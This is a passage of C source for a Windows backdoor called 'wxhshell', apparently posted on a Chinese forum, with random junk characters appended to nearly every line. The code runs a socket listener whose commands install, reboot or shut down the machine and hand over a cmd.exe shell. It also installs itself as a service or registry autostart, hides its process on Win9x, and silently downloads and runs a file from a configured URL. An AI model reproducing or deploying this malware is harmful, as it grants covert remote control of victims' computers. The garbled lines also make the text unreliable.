    break; "2e3 <:$  
  } Q\oa<R D5  
  // 安装 ~z^l~Vyg?  
  case 'i': { |N,^*xP(6  
    if(Install()) s/1r{;q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Vu}D(PJ  
    else ];.5 *a%*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D5zc{) /  
    break; 92-Xz6Bo9  
    } $W._FAAJ#  
  // 卸载 -e_fn&2,Y  
  case 'r': { &{)<Q(g  
    if(Uninstall()) 1q}32^>+o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +\dVC,,=^g  
    else $G=^cNB|JB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C&O8fNB_  
    break; )Rr6@o  
    } ,Csdon  
  // 显示 wxhshell 所在路径 ]t[%.^5#  
  case 'p': { H )X[%+  
    char svExeFile[MAX_PATH]; {/[@uMS_6]  
    strcpy(svExeFile,"\n\r"); eI-fH  
      strcat(svExeFile,ExeFile); ;Q ZG<  
        send(wsh,svExeFile,strlen(svExeFile),0); k?cX f j&  
    break; o!xCM:+J  
    } oKGH|iVEe  
  // 重启 =i~ = |K!  
  case 'b': { @= <{_p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l,n_G/\  
    if(Boot(REBOOT)) Vmz#u1gGT6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y)r`<B  
    else { o*T?f)_[p  
    closesocket(wsh); .M6. ]H  
    ExitThread(0); GTs,?t16/  
    } tmGhJZ2j  
    break; x1=`Z@^  
    } U<6)CW1;  
  // 关机 GzEw~JAs  
  case 'd': { c<13r=+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kn#?+Q  
    if(Boot(SHUTDOWN)) 9WHE4'Sa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4gH]!/@  
    else { q\tr&@4iC  
    closesocket(wsh); /OKp(u;)z  
    ExitThread(0); VnuG^)S  
    } %+r(*Q+0$f  
    break; ^;II@n i  
    } "t2T*'j{  
  // 获取shell zkt~[-jm}  
  case 's': { hl]d99Lc  
    CmdShell(wsh); Dw=L]i :0v  
    closesocket(wsh); #kQ! GMZH  
    ExitThread(0); TjpyU:R,&|  
    break; IO7z}![V;  
  } '[r:pwE  
  // 退出 dX\OP>  
  case 'x': { =K@LEZZ'/<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f}dlQkZ(  
    CloseIt(wsh); l_yy;e  
    break; F,YP Il  
    } m.P F'_)/  
  // 离开 X&Oo[Z  
  case 'q': { u`EK^\R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); azZ|T{S  
    closesocket(wsh); Md X4Rp'  
    WSACleanup(); eg~ Dm>Es  
    exit(1); y0O(n/  
    break; [KUkv  
        } `&I6=,YLp  
  } ~ESw* 6s9  
  } j1Ys8k%$l  
=Vh]{ y~$  
  // 提示信息 OL1xxzo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $7X;FmlG&  
} *Y1s4FXu2  
  } do`'K3a"  
}51QUFhL0  
  return; ^uo,LTq+  
} padV|hF3(e  
]:ca=&>  
// shell模块句柄 Fpo}UQQbc  
int CmdShell(SOCKET sock) oVqx)@$K  
{ ?Gf'G{^}  
STARTUPINFO si; K*^'t ltJ  
ZeroMemory(&si,sizeof(si)); hgZvti  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M"mvPr9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  WLWfe-  
PROCESS_INFORMATION ProcessInfo; lf\"6VIsR  
char cmdline[]="cmd"; /XG7M=A$o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i~GW  
  return 0; &tkPZ*}#1  
} s"7FmJ\7rw  
*K>2B99TXu  
// 自身启动模式 2U%t  
int StartFromService(void) D~qi6@Ga  
{ qV=O;  
typedef struct e_Zs4\^ef  
{ Bl)D/  
  DWORD ExitStatus; Q3r]T.].h  
  DWORD PebBaseAddress; };2Lrz9<  
  DWORD AffinityMask; !}A`6z  
  DWORD BasePriority; 4P C'7V=S  
  ULONG UniqueProcessId; \>T1&JT  
  ULONG InheritedFromUniqueProcessId; ]Y & 2&  
}   PROCESS_BASIC_INFORMATION; z@~Z Mk  
8<Nz34Y  
PROCNTQSIP NtQueryInformationProcess; 0?R$>=u  
/3+E-|4s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0$XrtnM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Q'-7z-6  
yR F+  
  HANDLE             hProcess; `zs@W  
  PROCESS_BASIC_INFORMATION pbi; _2k<MiqCD[  
GDj_+G;tO\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yyPj!<.MGP  
  if(NULL == hInst ) return 0; p-C{$5& O1  
ILNghtm-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aorL,l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AB!({EIi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T5@t_D>8  
+=`w  
  if (!NtQueryInformationProcess) return 0; {3Gj rE  
*~`oA~-Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qvsfU*wo?  
  if(!hProcess) return 0; q9zeN:><  
j%vxCs>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HVC|0}  
% [,^2s  
  CloseHandle(hProcess); nP=/XiCj  
a$"Z\F:x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4/o9K*M+  
if(hProcess==NULL) return 0; 54JI/!a  
p<VW;1bt5  
HMODULE hMod; 4J[bh  
char procName[255]; v&^N+>p  
unsigned long cbNeeded; RplcM%YJn  
kSJ:4!lFU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k \t6b1.M  
d76C ]R5L  
  CloseHandle(hProcess); */]1?M@P)  
=0@o(#gM  
if(strstr(procName,"services")) return 1; // 以服务启动 Mi!ak  
']Km%uwL  
  return 0; // 注册表启动 8W.-Y|[5?  
} z ISy\uka  
/Wjf"dG}  
// 主模块 7")&njQ/x  
int StartWxhshell(LPSTR lpCmdLine) ^-}3 +YA  
{ lZ+ 1 A0e  
  SOCKET wsl; .b%mr:nEt7  
BOOL val=TRUE; ]sI{ +$~:c  
  int port=0; |qk%UN<  
  struct sockaddr_in door; kr ?`GQm  
qyzeAK\Ia  
  if(wscfg.ws_autoins) Install(); {.,y v>%  
ht)KS9Xu  
port=atoi(lpCmdLine); WtSlD9 h  
[yAR%]i-7  
if(port<=0) port=wscfg.ws_port; {XS2<!D  
&kOb#\11u  
  WSADATA data; la !rg#)-X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P[cGCmM  
1 pzd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9e 1KH'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K)oN^  
  door.sin_family = AF_INET; A`1/g{Ha  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \?\q0o<V$  
  door.sin_port = htons(port); ffQ&1T<  
H Lt;1:b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E}w<-]8  
closesocket(wsl); PI" )^`  
return 1; 4gm(gY>[  
} #KSB%  
In4T`c?kQ  
  if(listen(wsl,2) == INVALID_SOCKET) { "_&HM4%!  
closesocket(wsl); =7("xz %  
return 1; @}N;C ..Y$  
} [C~{g#  
  Wxhshell(wsl); jr5x!@rb  
  WSACleanup(); _nnl+S>K  
\RP=Gf  
return 0; Neb%D8/Kn  
hta$ k%2  
} +hvVoBCM*  
q} R"  
// 以NT服务方式启动 |7T!rnr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /9yA.W;  
{ u RNc9  
DWORD   status = 0; )@YrHS4  
  DWORD   specificError = 0xfffffff; esEOV$s}  
t\+vTvT)RE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i`:r2kU:*W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >7V&pH'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M*c`@\  
  serviceStatus.dwWin32ExitCode     = 0; sXSZ#@u,WN  
  serviceStatus.dwServiceSpecificExitCode = 0; pKSVT  
  serviceStatus.dwCheckPoint       = 0; Ec]cCLB  
  serviceStatus.dwWaitHint       = 0; <tTn$<b  
g'b)]Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v4< x 4  
  if (hServiceStatusHandle==0) return; /SD2e@x{U  
: XZ  
status = GetLastError(); .~ W^P>t  
  if (status!=NO_ERROR) 5G=CvGu  
{ QSy#k~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0)lG~_q  
    serviceStatus.dwCheckPoint       = 0; !$5U\"M  
    serviceStatus.dwWaitHint       = 0; Zt[1RMO  
    serviceStatus.dwWin32ExitCode     = status; @le23+q  
    serviceStatus.dwServiceSpecificExitCode = specificError; R=M${u<t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Z|.-~W  
    return; s.I=H^ T  
  } f;%4O'  
C31SXQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1<qq69x  
  serviceStatus.dwCheckPoint       = 0; NC2PW+(  
  serviceStatus.dwWaitHint       = 0; `ml;#n,*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O@_)]z?jUc  
} sOW-GWSE<  
#H1yjJQ /x  
// 处理NT服务事件,比如:启动、停止 cj<j *(ZZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vexQP}N0  
{ Hp":r%)  
switch(fdwControl) NLF{W|X  
{ |^@TA=_  
case SERVICE_CONTROL_STOP: o0Hh&:6!M  
  serviceStatus.dwWin32ExitCode = 0; L+QEFQ:r5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $y >J=  
  serviceStatus.dwCheckPoint   = 0; r jL%M';  
  serviceStatus.dwWaitHint     = 0; U07n7`2w  
  { Nr7MSFiL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p<6pmW3  
  } z{^XU"yB  
  return; 1}!f.cWV(  
case SERVICE_CONTROL_PAUSE: =RUKN38  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0:nQGX!N  
  break; t9x.O  
case SERVICE_CONTROL_CONTINUE: *4[3?~_B#6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kF.PLn'iS  
  break; ?P`]^#  
case SERVICE_CONTROL_INTERROGATE: D1lHq/  
  break; +Mv0X%(N  
}; `^afbW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ybx4 Up@  
} !H,R$3~  
e$tKKcj0T  
// 标准应用程序主函数 D x Vt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;LH?Qu;e  
{ f=J#mmH w$  
 c:~o e  
// 获取操作系统版本 \aT._'=M+  
OsIsNt=GetOsVer(); <H E'5b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jo h&Ay  
K#";!  
  // 从命令行安装 88)0Xi|]KP  
  if(strpbrk(lpCmdLine,"iI")) Install(); WohK,<Or  
'J<KL#og  
  // 下载执行文件 dmrM %a}W-  
if(wscfg.ws_downexe) { #ZGWU_l}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TiF$',WMv  
  WinExec(wscfg.ws_filenam,SW_HIDE); }kXF*cVg  
} wEzLfZ Oz/  
JVTG3:zD  
if(!OsIsNt) { 2@ACmh  
// 如果时win9x,隐藏进程并且设置为注册表启动 oChcEx%  
HideProc(); WE`Y!  
StartWxhshell(lpCmdLine); |2c'0Ibu  
} Q9#$4  
else O*yc8fUI  
  if(StartFromService()) ]Wv\$JXI  
  // 以服务方式启动 **0Y*Ax@  
  StartServiceCtrlDispatcher(DispatchTable); l=EIbh  
else |TEf? <"c  
  // 普通方式启动 I%*o7"  
  StartWxhshell(lpCmdLine); +5);"71  
;Cyt2]F  
return 0; w>VM--  
}
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只看该作者 1 发表于: 2006-10-10
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